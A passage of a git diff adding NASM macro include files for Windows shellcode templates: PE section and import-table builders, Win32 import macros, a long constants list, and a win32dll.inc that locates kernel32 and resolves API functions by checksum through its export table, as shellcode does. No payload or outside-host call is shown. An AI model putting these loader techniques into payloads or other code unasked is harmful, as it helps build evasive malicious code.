%ifctx PESections_Begin + %assign PESectionCur_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign-1)/PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + PESection.data_Begin_FAa: + %define PESectionCur_FAa_Define PESection.data_Begin_FAa + %push PESection.data_Begin + %else + %error PE.INC error: PESection.data_Begin => PESections_Begin + %endif +%endmacro + +%macro PESection.data_End 0 + %ifctx PESection.data_Begin + MacroPESection_End .data + %assign PESectionPrec_RVAa_Assign PESectionCur_RVAa_Assign + PESection.data_RVAa equ PESectionPrec_RVAa_Assign + PESection.data_FSa equ PESection.data_End_FAa-PESection.data_Begin_FAa + PESectionHeader.data_FAa equ PESection.data_Begin_FAa + %assign PESectionPrec_FSa_Assign PESection.data_FSa + %assign PEOptionalHeader_InitializedDataFSa_Assign PEOptionalHeader_InitializedDataFSa_Assign+PESection.data_FSa + %if PEOptionalHeader_DataRVAa_Assign == 0 + %assign PEOptionalHeader_DataRVAa_Assign PESection.data_RVAa + %endif + %pop + %else + %error PE.INC error: PESection.data_End => PESection.data_Begin + %endif +%endmacro + + +%macro PESection.bss_Begin 0 + %ifctx PESections_Begin + %assign PESectionCur_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign-1)/PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + SECTION .bss + PESection.bss_Begin_FAa: + %define PESectionCur_FAa_Define PESection.bss_Begin_FAa + %push PESection.bss_Begin + %else + %error PE.INC error: PESection.bss_Begin => PESections_Begin + %endif +%endmacro + +%macro PESection.bss_End 0 + %ifctx PESection.bss_Begin + PESection.bss_End_FA: + ResbAlign PESection.bss_Begin_FAa,PEOptionalHeader_Va + PESection.bss_End_FAa: + %assign PEHeader_SectionsNumber_Assign PEHeader_SectionsNumber_Assign+1 + PESection.bss_VS equ PESection.bss_End_FA-PESection.bss_Begin_FAa + PESection.bss_VSa equ PESection.bss_End_FAa-PESection.bss_Begin_FAa + SECTION .text + %assign PESectionPrec_RVAa_Assign PESectionCur_RVAa_Assign + PESection.bss_RVAa equ PESectionPrec_RVAa_Assign + PESection.bss_FSa equ 0 + %assign PESectionPrec_FSa_Assign PESection.bss_VSa + PESectionHeader.bss_FAa equ 0 + %pop + %else + %error PE.INC error: PESection.bss_End => PESection.bss_Begin + %endif +%endmacro + + +%macro PESection.idata_Begin 0 + %ifctx PESections_Begin + %assign PESectionCur_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign-1)/PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + PESection.idata_Begin_FAa: + %define PESectionCur_FAa_Define PESection.idata_Begin_FAa + %push PESection.idata_Begin + %else + %error PE.INC error: PESection.idata_Begin => PESections_Begin + %endif +%endmacro + +%macro PESection.idata_End 0 + %ifctx PESection.idata_Begin + MacroPESection_End .idata + %assign PESectionPrec_RVAa_Assign PESectionCur_RVAa_Assign + PESection.idata_RVAa equ PESectionPrec_RVAa_Assign + PESection.idata_FSa equ PESection.idata_End_FAa-PESection.idata_Begin_FAa + PESectionHeader.idata_FAa equ PESection.idata_Begin_FAa + %assign PESectionPrec_FSa_Assign PESection.idata_FSa + %pop + %else + %error PE.INC error: PESection.idata_End => PESection.idata_Begin + %endif +%endmacro + + +%macro PESection.rsrc_Begin 0 + %ifctx PESections_Begin + %assign PESectionCur_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign-1)/PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + PESection.rsrc_Begin_FAa: + %define PESectionCur_FAa_Define PESection.rsrc_Begin_FAa + %push PESection.rsrc_Begin + %else + %error PE.INC error: PESection.rsrc_Begin => PESections_Begin + %endif +%endmacro + +%macro PESection.rsrc_End 0 + %ifctx PESection.rsrc_Begin + MacroPESection_End .rsrc + %assign PESectionPrec_RVAa_Assign PESectionCur_RVAa_Assign + PESection.rsrc_RVAa equ PESectionPrec_RVAa_Assign + PESection.rsrc_FSa equ PESection.rsrc_End_FAa-PESection.rsrc_Begin_FAa + PESectionHeader.rsrc_FAa equ PESection.rsrc_Begin_FAa + %assign PESectionPrec_FSa_Assign PESection.rsrc_FSa + %pop + %else + %error PE.INC error: PESection.rsrc_End => PESection.rsrc_Begin + %endif +%endmacro + + +%macro PESections_End 0 + %ifctx PESections_Begin + PESections_End_FAa: + PEHeader_SectionsNumber equ PEHeader_SectionsNumber_Assign + PEOptionalHeader_InitializedDataFSa equ PEOptionalHeader_InitializedDataFSa_Assign + PEOptionalHeader_DataRVAa equ PEOptionalHeader_DataRVAa_Assign + %assign PESectionPrec_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign) / PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + PEOptionalHeader_ImageVSa equ PESectionPrec_RVAa_Assign + Import_Directorys_RVA equ Import_Directorys_Assign + %repl PESections_End + %else + %error PE.INC error: PESections_End => PESections_Begin + %endif +%endmacro + +;============================= Import Directorys ============================= +;Import_Directorys_Begin sectionname +%macro Import_Directorys_Begin 1 + Import_Directorys_Begin_FA: + %assign Import_Directorys_Assign PESectionCur_RVAa_Assign+Import_Directorys_Begin_FA-PESectionCur_FAa_Define + %push Import_Directorys_Begin +%endmacro + +;Import_Directory dlllogicalname +%macro Import_Directory 1 + %ifctx Import_Directorys_Begin + dd PESection_RVA(Import.%1_RVAs) + dd 0 ;??? (date … 0) + dd 0FFFFFFFFh + dd PESection_RVA(Import.%1_String_Dll) + dd PESection_RVA(Import.%1_VAs) + %else + %error PE.INC error: Import_Directory => Import_Directorys_Begin + %endif +%endmacro + +%macro Import_Directorys_End 0 + %ifctx Import_Directorys_Begin + times 5 dd 0 + Import_Directorys_End_FA: + Import_Directorys_VS equ Import_Directorys_End_FA-Import_Directorys_Begin_FA + %pop + %else + %error PE.INC error: Import_Directorys_End => Import_Directorys_Begin + %endif +%endmacro + + +;Import_RVAs_Begin dlllogicalname +%macro Import_RVAs_Begin 1 + Import.%1_RVAs: + %push Import_RVAs_Begin +%endmacro + +;Import_RVA dlllogicalname,functionlogicalname +%macro Import_RVA 2 + %ifctx Import_RVAs_Begin + dd PESection_RVA(Import.%1.%2_String_Function) + %else + %error PE.INC error: Import_RVA => Import_RVAs_Begin + %endif +%endmacro + +%macro Import_RVAs_End 0 + %ifctx Import_RVAs_Begin + dd 0 + %pop + %else + %error PE.INC error: Import_RVAs_End => Import_RVAs_Begin + %endif +%endmacro + + +;Import_VAs_Begin dlllogicalname +%macro Import_VAs_Begin 1 + Import.%1_VAs: + %push Import_VAs_Begin +%endmacro + +;Import_VA dlllogicalname,functionlogicalname,[va] +%macro Import_VA 2-3 0FFFFFFFFh + %ifctx Import_VAs_Begin + Import.%1.%2: dd %3 + %2 equ PEOptionalHeader_ImageVAa+PESectionCur_RVAa_Assign+Import.%1.%2-PESectionCur_FAa_Define + %else + %error PE.INC error: Import_VA => Import_VAs_Begin + %endif +%endmacro + +%macro Import_VAs_End 0 + %ifctx Import_VAs_Begin + dd 0 + %pop + %else + %error PE.INC error: Import_VAs_End => Import_VAs_Begin + %endif +%endmacro + + +;Import_Strings_Begin dlllogicalname +%macro Import_Strings_Begin 1 + Import.%1_Strings: + %push Import_Strings_Begin +%endmacro + +;Import_String_Function dlllogicalname,functionlogicalname,"name",[ordinal] +%macro Import_String_Function 3-4 0h + %ifctx Import_Strings_Begin + Import.%1.%2_String_Function: + dw %4 + db %3,0 + %else + %error PE.INC error: Import_String_Function => Import_Strings_Begin + %endif +%endmacro + +;Import_String_Dll dlllogicalname,"dllname" +%macro Import_String_Dll 2 + %ifctx Import_Strings_Begin + Import.%1_String_Dll: + db %2,0 + %repl Import_String_Dll + %else + %error PE.INC error: Import_String_Dll => Import_Strings_Begin + %endif +%endmacro + +%macro Import_Strings_End 0 + %ifctx Import_String_Dll + %pop + %else + %error PE.INC error: Import_Strings_End => Import_String_Dll + %endif +%endmacro + +;================================== BIN End ================================== +%macro BIN_End 0 + %ifctx PESections_End + BIN_End_FA: + DbAlign BIN_Begin_FA,PEOptionalHeader_Fa + BIN_End_FAa: + %pop + %else + %error PE.INC error: BIN_End => PESections_End + %endif +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/win32.inc b/external/source/shellcode/windows/templates/inc/win32.inc new file mode 100644 index 0000000000..86c9a7c0c5 --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/win32.inc @@ -0,0 +1,55 @@ +; MACROS FOR WIN32 PROGRAMMING v1.0a +; ================================== + + +;WIN32.INC_NO_EXTERN_IMPORT => pas d'Import + + +;ExternImport function,dll [,d|[*]] +; <- FUNCTION.INC_CONVENTION + +;================================= General =================================== +%ifndef _WIN32.INC +%define _WIN32.INC + +%include "function.inc" +%include "language.inc" +%include "win32n.inc" +%include "win32dll.inc" + +%macro WIN32.INC 0 + FUNCTION.INC + %undef WIN32.INC_NO_EXTERN_IMPORT +%endmacro + +%macro WIN32.INC~ 0 + FUNCTION.INC~ + %undef WIN32.INC_NO_EXTERN_IMPORT +%endmacro + +WIN32.INC + +%macro ExternImport 2-3 + %ifndef ExternImport_%1 + %ifndef WIN32.INC_NO_EXTERN_IMPORT + extern %1 + import %1 %2 + Alias @%1,[%1] + FunctionDefine %1,FUNCTION.INC_CONVENTION + %else + %if %0==3 + %ifnum %3 + FunctionDefine %1,FUNCTION.INC_CONVENTION,%3 + %else + Alias @%1,%3 + FunctionDefine %1,FUNCTION.INC_CONVENTION + %endif + %else + Error WIN32,NO_EXTERN_IMPORT => ExternImport %1,%2,d|[*] + %endif + %endif + %define ExternImport_%1 + %endif +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/win32dll.inc b/external/source/shellcode/windows/templates/inc/win32dll.inc new file mode 100644 index 0000000000..965223932c --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/win32dll.inc @@ -0,0 +1,390 @@ +; MACROS POUR L'IMPORTATION DE FONCTIONS DE DLLS WIN32 v0.9a +; ========================================================== + + +;WIN32DLL.INC_TABLE_REGISTER = edi = registre qui pointera la table +;WIN32DLL.INC_PUSH => sauvegarde des registres sur la pile +;WIN32DLL.INC_KERNEL32.DLL = WIN32DLL.INC_9X | WIN32DLL.INC_NT +; |WIN32DLL.INC_2000|r contenant l'adresse de base de KERNEL32.DLL +;WIN32DLL.INC_BYTE_BEGIN = 252 = 1er byte du codage dans la table + + +;GetBase r +; r -> adresse de base à partir de l'adresse originale contenue dans r + +;GetChecksum(chaine) +; EAX -> checksum de chaine +;GetVAExportChecksum(base,checksum) +; EAX -> VA de la fonction de checksum à partir de l'Export Table de +; l'adresse de base de la DLL parcourue | 0 + +;DllBegin +; Dll kernel32.dll,"kernel32.dll" +; [DllFunction LoadLibraryA,...] +; [DllFunction GetProcAddress,...] +; ... +; Dll dll [,"dll"] +; DllFunction function [,"function"|d [,d]] +; ... +; ... +;DllEnd +;<- WIN32.INC_NO_EXTERN_IMPORT,BYTE.INC_NO_00,FUNCTION.INC_CONVENTION + +;================================= General =================================== +%ifndef _WIN32DLL.INC +%define _WIN32DLL.INC + +%include "win32.inc" + +%macro WIN32DLL.INC 0 + %define WIN32DLL.INC_TABLE_REGISTER edi + %define WIN32DLL.INC_PUSH + %define WIN32DLL.INC_9X 0BFF70000h + %define WIN32DLL.INC_NT 077F00000h + %define WIN32DLL.INC_2000 077E00000h + %define WIN32DLL.INC_KERNEL32.DLL WIN32DLL.INC_9X + %define WIN32DLL.INC_BYTE_BEGIN 252 + %define DllChecksum_Define WIN32DLL.INC_BYTE_BEGIN + %define DllFunction_Define WIN32DLL.INC_BYTE_BEGIN+1 + %define DllDll_Define WIN32DLL.INC_BYTE_BEGIN+2 + %define DllEnd_Define WIN32DLL.INC_BYTE_BEGIN+3 +%endmacro + +WIN32DLL.INC + +;=================================== DLLs ==================================== +%macro GetBase 1 + And %1,0FFFF0000h +GetBase_Boucle: + cmp word[%1],'MZ' + JX e,GetBase_Fin,+1 + Sub eax,10000h + Jmp GetBase_Boucle,-1 +GetBase_Fin: +%endmacro + +%macro Function_GetChecksum 0 +Function GetChecksum,GetChecksum_Chaine +FunctionBegin + pushf + push esi + push edx + cld + + mov esi,[GetChecksum_Chaine] + Mov edx,0 +GetChecksum_BoucleChar: + Mov eax,0 + lodsb + shl ax,8 ;AX=cc00 + add edx,eax ;ajoute le caractère au checksum + Cmp eax,0 + JX z,GetChecksum_Fin,+1 ;si fin de chaîne + Mov eax,0 + lodsb ;AX=cc + add edx,eax ;ajoute le caractère au checksum + Cmp al,0 + JX nz,GetChecksum_BoucleChar,-1 ;si pas fin de chaîne +GetChecksum_Fin: + mov eax,edx + pop edx + pop esi + popf +FunctionEnd +%endmacro + +%macro Function_GetVAExportChecksum 0 +Function GetVAExportChecksum,GetVAExportChecksum_VA,GetVAExportChecksum_Checksum +FunctionBegin + pushf + push edi + push esi + push edx + push ecx + push ebx + cld + + mov esi,[GetVAExportChecksum_VA] + mov ebx,esi + mov ebx,[byte ebx+03Ch] + add ebx,esi ;EBX=adresse header PE + mov ebx,[byte ebx+078h] + add ebx,esi ;EBX=adresse Export Table + mov edx,[byte ebx+018h] ;EDX=nombre noms + Mov ecx,0 ;ECX=indice courant liste adresses noms + +GetVAExportChecksum_BoucleNom: + mov edi,[byte ebx+020h] + add edi,esi ;EDI=adresse liste adresses noms + mov edi,[edi+4*ecx] + add edi,esi ;EDI=adresse chaîne + + push edx + mov edx,[GetVAExportChecksum_Checksum] ;EDX=checksum recherché + xchg esi,edi ;ESI=adresse chaîne +GetVAExportChecksum_BoucleChar: + Mov eax,0 + lodsb + shl ax,8 ;AX=cc00 + sub edx,eax ;soustrait le caractère du checksum + Cmp eax,0 + JX z,GetVAExportChecksum_FinNom,+1 ;si fin de chaîne + Mov eax,0 + lodsb ;AX=cc + sub edx,eax ;soustrait le caractère du checksum + Cmp al,0 + JX nz,GetVAExportChecksum_BoucleChar,-1 ;si pas fin de chaîne +GetVAExportChecksum_FinNom: + xchg esi,edi ;EDI=adresse chaîne + test edx,edx + pop edx + JX z,GetVAExportChecksum_NomTrouve,+1 ;si checksum recherchée + + inc ecx + cmp ecx,edx + JX nae,GetVAExportChecksum_BoucleNom,-1 ;si pas fin => boucle suivant + Mov eax,0 + Jmp GetVAExportChecksum_Fin,+1 ;sinon fin + +GetVAExportChecksum_NomTrouve: + Mov eax,0 + mov edi,[byte ebx+024h] + add edi,esi ;EDI=adresse liste ordinaux + mov ax,[edi+2*ecx] ;AX=ordinal + + mov edi,[byte ebx+01Ch] + add edi,esi ;EDI=adresse liste adresses + mov eax,[edi+4*eax] + add eax,esi ;EAX=adresse fonction + +GetVAExportChecksum_Fin: + pop ebx + pop ecx + pop edx + pop esi + pop edi + popf +FunctionEnd +%endmacro + +%macro DllBegin 0 + %ifctx Dll + Error WIN32DLL,DllBegin =X=> DllBegin + %else + %push Dll + %undef Dll_LoadLibraryA_Define + %undef Dll_GetProcAddress_Define + %undef Dll_kernel32.dll_Define + %assign Dll_Function_Assign 1 + %define FUNCTION.INC_CONVENTION Std + %ifdef WIN32.INC_NO_EXTERN_IMPORT + %ifdef WIN32DLL.INC_PUSH + %ifnidni WIN32DLL.INC_TABLE_REGISTER,ebp + push ebp + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,edi + push edi + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,esi + push esi + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,edx + push edx + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,ecx + push ecx + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,ebx + push ebx + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,eax + push eax + %endif + %endif + Call %$End,+1 + %endif + %endif +%endmacro + +%macro Dll 1-2 + %ifctx Dll + %define Dll_Dll_Define %1 + %ifdef WIN32.INC_NO_EXTERN_IMPORT + %if %0==2 + %ifnidn %1,kernel32.dll + %define Dll_kernel32.dll + db %2,DllDll_Define + %endif + %else + Error WIN32DLL,NO_EXTERN_IMPORT => Dll dll,"dll" + %endif + %endif + %else + Error WIN32DLL,Dll => DllBegin + %endif +%endmacro + +%macro DllFunctionExternImport 2-3 + %if %0==2 + %ifstr %2 + db %2,DllFunction_Define + %else + db DllChecksum_Define + dd ~(%2) + %endif + %1_Equ equ Dll_Function_Assign + ExternImport %1,Dll_Dll_Define,[byte WIN32DLL.INC_TABLE_REGISTER+%1_Equ] + %assign Dll_Function_Assign Dll_Function_Assign+4 + %else + ExternImport %1,Dll_Dll_Define,%3 + %endif +%endmacro + +%macro DllFunction 1-3 + %ifctx Dll + %ifdef WIN32.INC_NO_EXTERN_IMPORT + %if %0>1 + %ifidn %1,LoadLibraryA + %if %0==3 + DllFunctionExternImport %1,%2,%3 + %define Dll_LoadLibraryA_Define + %endif + %elifidn %1,GetProcAddress + %if %0==3 + DllFunctionExternImport %1,%2,%3 + %define Dll_GetProcAddress_Define + %endif + %else + %ifndef Dll_LoadLibraryA_Define + DllFunctionExternImport LoadLibraryA,000023761h ;'oL'+'da'+'iL'+'rb'+'ra'+'Ay' + %define Dll_LoadLibraryA_Define + %endif + %ifndef Dll_GetProcAddress_Define + DllFunctionExternImport GetProcAddress,00002DBA1h ;'eG'+'Pt'+'or'+'Ac'+'dd'+'er'+'ss' + %define Dll_GetProcAddress_Define + %endif + %if %0==2 + %ifstr %2 + %ifndef Dll_kernel32.dll + db "kernel32.dll",DllDll_Define + %define Dll_kernel32.dll + %endif + %endif + DllFunctionExternImport %1,%2 + %else + DllFunctionExternImport %1,%2,%3 + %endif + %endif + %else + Error WIN32DLL,NO_EXTERN_IMPORT => DllFunction function,"function"|d [,d] + %endif + %else + ExternImport %1,Dll_Dll_Define + %endif + %else + Error WIN32DLL,DllFunction => DllBegin + %endif +%endmacro + +%macro DllEnd 0 + %ifctx Dll + %ifdef WIN32.INC_NO_EXTERN_IMPORT + db DllEnd_Define + Function_GetVAExportChecksum + %$End: + + %ifnidn WIN32DLL.INC_KERNEL32.DLL,edx + Mov edx,WIN32DLL.INC_KERNEL32.DLL + %endif + + pop esi ;ESI=offset jump table + push esi + mov edi,esi ;EDI=offset jump table + mov ebp,esi + dec ebp ;EBP=offset jump table-1 +DllEnd_BoucleNom: + mov ebx,esi ;EBX=dÚbut chaîne courante +DllEnd_BoucleChar: + lodsb + cmp al,WIN32DLL.INC_BYTE_BEGIN + JX b,DllEnd_BoucleChar,-1 ;si <252 + + dec esi ;sinon >=252 =>chaine ou fin + Mov ah,0 + mov [esi],ah ;00 de fin de chaîne + inc esi + + cmp al,WIN32DLL.INC_BYTE_BEGIN + JX e,DllEnd_252,+1 ;si =252 + cmp al,WIN32DLL.INC_BYTE_BEGIN+2 + JX a,DllEnd_End,+1 ;si =255 + + push edi ;sauve EDI + push esi ;sauve ESI + JX e,DllEnd_254,+1 ;si =254 + +DllEnd_253: ;sinon =253 => fonction + push edx ;sauve EDX + xchg WIN32DLL.INC_TABLE_REGISTER,ebp + GetProcAddress(edx,ebx) + xchg WIN32DLL.INC_TABLE_REGISTER,ebp + pop edx + pop esi + pop edi + stosd ;ajoute à la jump table + Jmp DllEnd_BoucleNom,-1 + +DllEnd_252: ;=252 => checksum + lodsd + not eax + TemporaryBegin dword,-,eax + %define BYTE.INC_TEMPORARY_REGISTER Temporary_Ret + GetVAExportChecksum(edx,eax) + %undef BYTE.INC_TEMPORARY_REGISTER + TemporaryEnd + stosd ;ajoute à la jump table + Jmp DllEnd_BoucleNom,-1 + +DllEnd_254: ;=254 => dll + xchg WIN32DLL.INC_TABLE_REGISTER,ebp + LoadLibraryA(ebx) + xchg WIN32DLL.INC_TABLE_REGISTER,ebp + mov edx,eax ;EDX=handle de la DLL + pop esi + pop edi + Jmp DllEnd_BoucleNom,-1 + +DllEnd_End: ;=255 + pop WIN32DLL.INC_TABLE_REGISTER + dec WIN32DLL.INC_TABLE_REGISTER + %ifdef WIN32DLL.INC_PUSH + %ifnidni WIN32DLL.INC_TABLE_REGISTER,eax + pop eax + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,ebx + pop ebx + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,ecx + pop ecx + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,edx + pop edx + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,esi + pop esi + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,edi + pop edi + %endif + %ifnidni WIN32DLL.INC_TABLE_REGISTER,ebp + pop ebp + %endif + %endif + %endif + %pop + %else + Error WIN32DLL,DllEnd => DllBegin + %endif +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/win32n.inc b/external/source/shellcode/windows/templates/inc/win32n.inc new file mode 100644 index 0000000000..c81b1454a2 --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/win32n.inc @@ -0,0 +1,12039 @@ +; Win32.inc for NASM 1999 version 0.06 by Tamas Kaproncai [tomcat@szif.hu] + +; Greetings to everyone on the windows.inc scene: +; Sven B. Schreiber, Philippe Auphelle, Gij, Iczelion, +; Steve Hutchesson, Barry Kauler, Wayne Radburn... + +;-----------------------------data types---------------------------------- +%define ACHAR BYTE ;ansi character +%define ATOM DWORD ;string atom +%define BOOL DWORD ;boolean variable +%define COLORREF DWORD ;rgb color +%define DWORDLONG QWORD ;long double word +%define GLOBALHANDLE DWORD ;global handle +%define HACCEL DWORD ;accelerator handle +%define HANDLE DWORD ;unspecified handle +%define HBITMAP DWORD ;bitmap handle +%define HBRUSH DWORD ;brush handle +%define HCOLORSPACE DWORD ;color space handle +%define HCURSOR DWORD ;cursor handle +%define HDC DWORD ;device context handle +%define HDWP DWORD ;defer win pos handle +%define HENHMETAFILE DWORD ;enh. metafile handle +%define HFILE DWORD ;file handle +%define HFONT DWORD ;font handle +%define HGLOBAL DWORD ;global handle +%define HHOOK DWORD ;hook handle +%define HICON DWORD ;icon handle +%define HINSTANCE DWORD ;instance handle +%define HINTERNET DWORD ;internet handle +%define HLOCAL DWORD ;local handle +%define HMENU DWORD ;menu handle +%define HMETAFILE DWORD ;metafile handle +%define HPALETTE DWORD ;palette handle +%define HPEN DWORD ;pen handle +%define HRGN DWORD ;region handle +%define HRSRC DWORD ;resource handle +%define HSTR DWORD ;string handle +%define HTASK DWORD ;task handle +%define HTREEITEM DWORD ;tree view item handle +%define HWND DWORD ;window handle +%define INTEGER DWORD ;standard integer +%define LOCALHANDLE DWORD ;local handle +%define LONG DWORD ;long integer +%define LONGINT DWORD ;long integer +%define LPARAM DWORD ;long parameter +%define LPBOOL DWORD ;long ptr to boolean +%define LPBYTE DWORD ;long ptr to byte +%define LPCSTR DWORD ;long ptr to string +%define LPCTSTR DWORD ;long ptr to string +%define LPCVOID DWORD ;long ptr to buffer +%define LPDWORD DWORD ;long ptr to dword +%define LPFN DWORD ;long ptr to function +%define LPINT DWORD ;long ptr to integer +%define LPLONG DWORD ;long ptr to long int +%define LPMSG DWORD ;long pointer to message +%define LPPAINTSTRUCT DWORD ;long pointer to paint structure +%define LPRECT DWORD ;long pointer to rectangle +%define LPSTR DWORD ;long ptr to string +%define LPTSTR DWORD ;long ptr to string +%define LPVOID DWORD ;long ptr to buffer +%define LPWORD DWORD ;long ptr to word +%define LRESULT DWORD ;long result +%define POINTER DWORD ;pointer to anything +%define PVOID DWORD ;pointer to buffer +%define SHORTINT WORD ;short integer +%define UINT DWORD ;unsigned integer +%define WCHAR WORD ;unicode character +%define WNDPROC DWORD ;window procedure +%define WPARAM DWORD ;word parameter + +;-------------------------WindowProc macros------------------------------- + +%MACRO StartWindowProc 0 +PUSH EBP +MOV EBP,ESP +%DEFINE hwnd EBP+8 +%DEFINE uMsg EBP+12 +%DEFINE wParam EBP+16 +%DEFINE lParam EBP+20 +%ENDMACRO + +%MACRO EndWindowProc 0 +POP EBP +RETN 16 +%ENDMACRO + +;-------------------------win32api equates------------------------------- +%define WINAPI 1 +%define TRUE 1 +%define FALSE 0 +%define NULL 0 +%define Normal 000000h +%define ReadOnly 000001h +%define Hidden 000010h +%define System 000100h +%define vLabel 001000h +%define SubDir 010000h +%define Archive 100000h +%define Black 000000h +%define Blue 0FF0000h +%define Green 00FF00h +%define Cyan 0FFFF00h +%define Red 0000FFh +%define Magenta 0FF00FFh +%define Yellow 00FFFFh +%define White 0FFFFFFh +%define Gray 080808h +%define ANYSIZE_ARRAY 1 +%define INVALID_HANDLE_VALUE -1 +%define DELETE 10000h +%define READ_CONTROL 20000h +%define WRITE_DAC 40000h +%define WRITE_OWNER 80000h +%define SYNCHRONIZE 100000h +%define STANDARD_RIGHTS_READ READ_CONTROL +%define STANDARD_RIGHTS_WRITE READ_CONTROL +%define STANDARD_RIGHTS_EXECUTE READ_CONTROL +%define STANDARD_RIGHTS_REQUIRED 0F0000h +%define STANDARD_RIGHTS_ALL 1F0000h +%define SPECIFIC_RIGHTS_ALL 0FFFFh +%define SID_REVISION 1 +%define SID_MAX_SUB_AUTHORITIES 15 +%define SID_RECOMMENDED_SUB_AUTHORITIES 1 +%define SidTypeUser 1 +%define SidTypeGroup 2 +%define SidTypeDomain 3 +%define SidTypeAlias 4 +%define SidTypeWellKnownGroup 5 +%define SidTypeDeletedAccount 6 +%define SidTypeInvalid 7 +%define SidTypeUnknown 8 +%define SECURITY_NULL_RID 0h +%define SECURITY_WORLD_RID 0h +%define SECURITY_LOCAL_RID 0h +%define SECURITY_CREATOR_OWNER_RID 0h +%define SECURITY_CREATOR_GROUP_RID 1h +%define SECURITY_DIALUP_RID 1h +%define SECURITY_NETWORK_RID 2h +%define SECURITY_BATCH_RID 3h +%define SECURITY_INTERACTIVE_RID 4h +%define SECURITY_SERVICE_RID 6h +%define SECURITY_ANONYMOUS_LOGON_RID 7h +%define SECURITY_LOGON_IDS_RID 5h +%define SECURITY_LOCAL_SYSTEM_RID 12h +%define SECURITY_NT_NON_UNIQUE 15h +%define SECURITY_BUILTIN_DOMAIN_RID 20h +%define DOMAIN_USER_RID_ADMIN 1F4h +%define DOMAIN_USER_RID_GUEST 1F5h +%define DOMAIN_GROUP_RID_ADMINS 200h +%define DOMAIN_GROUP_RID_USERS 201h +%define DOMAIN_GROUP_RID_GUESTS 202h +%define DOMAIN_ALIAS_RID_ADMINS 220h +%define DOMAIN_ALIAS_RID_USERS 221h +%define DOMAIN_ALIAS_RID_GUESTS 222h +%define DOMAIN_ALIAS_RID_POWER_USERS 223h +%define DOMAIN_ALIAS_RID_ACCOUNT_OPS 224h +%define DOMAIN_ALIAS_RID_SYSTEM_OPS 225h +%define DOMAIN_ALIAS_RID_PRINT_OPS 226h +%define DOMAIN_ALIAS_RID_BACKUP_OPS 227h +%define DOMAIN_ALIAS_RID_REPLICATOR 228h +%define SE_GROUP_MANDATORY 1h +%define SE_GROUP_ENABLED_BY_DEFAULT 2h +%define SE_GROUP_ENABLED 4h +%define SE_GROUP_OWNER 8h +%define SE_GROUP_LOGON_ID 0C0000000h +%define FILE_BEGIN 0 +%define FILE_CURRENT 1 +%define FILE_END 2 +%define FILE_FLAG_WRITE_THROUGH 80000000h +%define FILE_FLAG_OVERLAPPED 40000000h +%define FILE_FLAG_NO_BUFFERING 20000000h +%define FILE_FLAG_RANDOM_ACCESS 10000000h +%define FILE_FLAG_SEQUENTIAL_SCAN 8000000h +%define FILE_FLAG_DELETE_ON_CLOSE 4000000h +%define FILE_FLAG_BACKUP_SEMANTICS 2000000h +%define FILE_FLAG_POSIX_SEMANTICS 1000000h +%define CREATE_NEW 1 +%define CREATE_ALWAYS 2 +%define OPEN_EXISTING 3 +%define OPEN_ALWAYS 4 +%define TRUNCATE_EXISTING 5 +%define PIPE_ACCESS_INBOUND 1h +%define PIPE_ACCESS_OUTBOUND 2h +%define PIPE_ACCESS_DUPLEX 3h +%define PIPE_CLIENT_END 0h +%define PIPE_SERVER_END 1h +%define PIPE_WAIT 0h +%define PIPE_NOWAIT 1h +%define PIPE_READMODE_BYTE 0h +%define PIPE_READMODE_MESSAGE 2h +%define PIPE_TYPE_BYTE 0h +%define PIPE_TYPE_MESSAGE 4h +%define PIPE_UNLIMITED_INSTANCES 255 +%define SECURITY_CONTEXT_TRACKING 40000h +%define SECURITY_EFFECTIVE_ONLY 80000h +%define SECURITY_SQOS_PRESENT 100000h +%define SECURITY_VALID_SQOS_FLAGS 1F0000h +%define SP_SERIALCOMM 1h +%define PST_UNSPECIFIED 0h +%define PST_RS232 1h +%define PST_PARALLELPORT 2h +%define PST_RS422 3h +%define PST_RS423 4h +%define PST_RS449 5h +%define PST_FAX 21h +%define PST_SCANNER 22h +%define PST_NETWORK_BRIDGE 100h +%define PST_LAT 101h +%define PST_TCPIP_TELNET 102h +%define PST_X25 103h +%define PCF_DTRDSR 1h +%define PCF_RTSCTS 2h +%define PCF_RLSD 4h +%define PCF_PARITY_CHECK 8h +%define PCF_XONXOFF 10h +%define PCF_SETXCHAR 20h +%define PCF_TOTALTIMEOUTS 40h +%define PCF_INTTIMEOUTS 80h +%define PCF_SPECIALCHARS 100h +%define PCF_16BITMODE 200h +%define DLL_PROCESS_DETACH 0 +%define DLL_PROCESS_ATTACH 1 +%define DLL_THREAD_ATTACH 2 +%define DLL_THREAD_DETACH 3 +%define SP_PARITY 1h +%define SP_BAUD 2h +%define SP_DATABITS 4h +%define SP_STOPBITS 8h +%define SP_HANDSHAKING 10h +%define SP_PARITY_CHECK 20h +%define SP_RLSD 40h +%define BAUD_075 1h +%define BAUD_110 2h +%define BAUD_134_5 4h +%define BAUD_150 8h +%define BAUD_300 10h +%define BAUD_600 20h +%define BAUD_1200 40h +%define BAUD_1800 80h +%define BAUD_2400 100h +%define BAUD_4800 200h +%define BAUD_7200 400h 